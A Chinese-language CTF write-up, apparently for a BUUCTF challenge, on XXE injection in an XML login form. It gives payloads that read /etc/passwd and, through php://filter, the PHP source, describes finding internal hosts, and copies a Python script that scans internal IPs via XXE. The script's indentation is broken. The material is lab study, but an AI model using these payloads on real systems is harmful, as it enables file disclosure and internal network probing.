解题

进入是登录框,查看源代码发现是传输xml信息,随便填信息然后抓包也发现了xml信息 admin1

尝试进行xxe注入

<?xml version="1.0" ?>
<!DOCTYPE a[
<!ENTITY name SYSTEM "file:///etc/passwd">]
>
<user><username>&name;</username><password>1</password></user>
分别读取/etc/hosts /flag 等常见的
读不到,那么尝试读一下源码:(在做的过程中发现报错,可知路径)
file:///var/www/html/doLogin.php 读不到
php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php 读到了,但是没什么信息,利用源码的账号密码登录也没用。

探测内网主机 /proc/net/arp /etc/hosts
发现有另外一个ip
用http协议访问
http://10.128.253.1 发现报错,尝试进行最后一位c段爆破
最后访问成功得到flag(没做出来,怀疑是buu问题)

记录

题目没做出来,利用http访问会很久,然后显示超时链接。

/etc/hosts下开两个环境,一个有ip一个没有ip,/proc/net/arp里一个有一个ip,一个两个ip。

都访问不了。

贴个网上的脚本

import requests as res
# url="http://0c8016ed-ef08-4127-ad08-37c2bcce842e.node4.buuoj.cn:81/doLogin.php"
rawPayload='<?xml version="1.0"?>'\
'<!DOCTYPE user ['\
'<!ENTITY payload1 SYSTEM "http://169.254.1.{}">'\
']>'\
'<user>'\
'<username>'\
'&payload1;'\
'</username>'\
'<password>'\
'23'\
'</password>'\
'</user>'
for i in range(255,500):
payload=rawPayload.format(i)
#payload=rawPayload
print(str("#{} =>").format(i),end='')
try:
resp=res.post(url,data=payload,timeout=0.3)
except:
continue
else:
print(resp.text,end='')
finally:
print('')

参考

https://www.cnblogs.com/Article-kelp/p/16026652.html